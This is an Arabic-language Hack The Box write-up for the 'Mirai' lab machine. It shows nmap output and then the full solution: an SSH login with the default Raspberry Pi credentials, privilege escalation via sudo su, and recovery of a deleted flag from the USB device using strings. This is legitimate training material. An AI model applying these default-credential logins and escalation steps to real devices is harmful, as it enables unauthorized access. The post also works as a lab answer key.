Hack The Box — Mirai Writeup Arabic (عربي)

ziyad Alotaibi
3 min readApr 4, 2021

بسم الله الرحمن الرحيم تكملت حل القائمة

nmap اول شي نفحص الجهاز باستخدام

root@kali:~# nmap 10.10.10.48 -sV
Starting Nmap 7.91 ( https://nmap.org ) at 2021–02–28 09:09 EST
Nmap scan report for 10.10.10.48
Host is up (0.15s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
53/tcp open domain dnsmasq 2.76
80/tcp open http lighttpd 1.4.35
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.22 seconds

اول شي لازم نفص بورت 80 نبحث عن صفحات او ملفات مخفيه نقدر نستخدم بعض الأدوات مثل
dirb
dirbuster
gobuster

صفحه لي ادمين ممكن يكون فيها بيانات مهمه مثل يوزر او ثغرة نستطيع استغلالها

http://10.10.10.48/admin/

نبحث عن ثغره للصدار الموجود في الأسفل
1-Pi-hole Version v3.1.4
2-Web Interface Version v3.1
3-FTL Version v2.10

بعد البحث الثغرات التي ممكن نستفيد منها هي الثغرات التالية ولاكن نحتاج نسوي تسجيل دخول قبل الان نبحث عن حساب الي يجي مع تنصيب التطبيق او الخدمة

pi:raspberry

لاكن ما نستطيع تسجيل الدخول لأنه من الممكن انه تم تغيره
نجرب نسوي تسجيل دخول عن طريق بورت 22 بنفس الحساب

root@kali:~/HTB/Machines/10.10.10.48# ssh pi@10.10.10.48
pi@10.10.10.48’s password: raspberry

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 27 14:47:50 2017 from localhost

SSH is enabled and the default password for the ‘pi’ user has not been changed.
This is a security risk — please login as the ‘pi’ user and type ‘passwd’ to set a new password.

SSH is enabled and the default password for the ‘pi’ user has not been changed.
This is a security risk — please login as the ‘pi’ user and type ‘passwd’ to set a new password.

pi@raspberrypi:~ $

sudo -l تمام تم تسجيل الدخول الان نملك يوزر على الجهاز نحتاج نسوي ترقيه لي رووت نجرب نسوي
تستخدم في عرض قائمة الصلاحيات الي يقدر يسويها المستخدم الحالي -l

pi@raspberrypi:/ $ sudo -l
Matching Defaults entries for pi on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pi may run the following commands on localhost:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL

(ALL:ALL) ALL
(ALL) NOPASSWD: ALL
su تسمح للمستخدم بتغير الحساب الى روت من دون استخدام كلمة سر عن طريق استخدام

pi@raspberrypi:/ $ sudo su
root@raspberrypi:/#

تم الحصول على رووت على الجهاز
نحتاج الاثبات الان

pi@raspberrypi:~/Desktop $ cat user.txt

root@raspberrypi:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick…

USB موقع ملف الروت في
/media/usbstick و هو موجود في

root@raspberrypi:/media/usbstick# cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

  • James

نحتاج نروح للملفات المحذوفة عشان نحصل الرووت

root@raspberrypi:/dev# strings sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3e4*****************
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James

شكرا لك تحياتي

--

--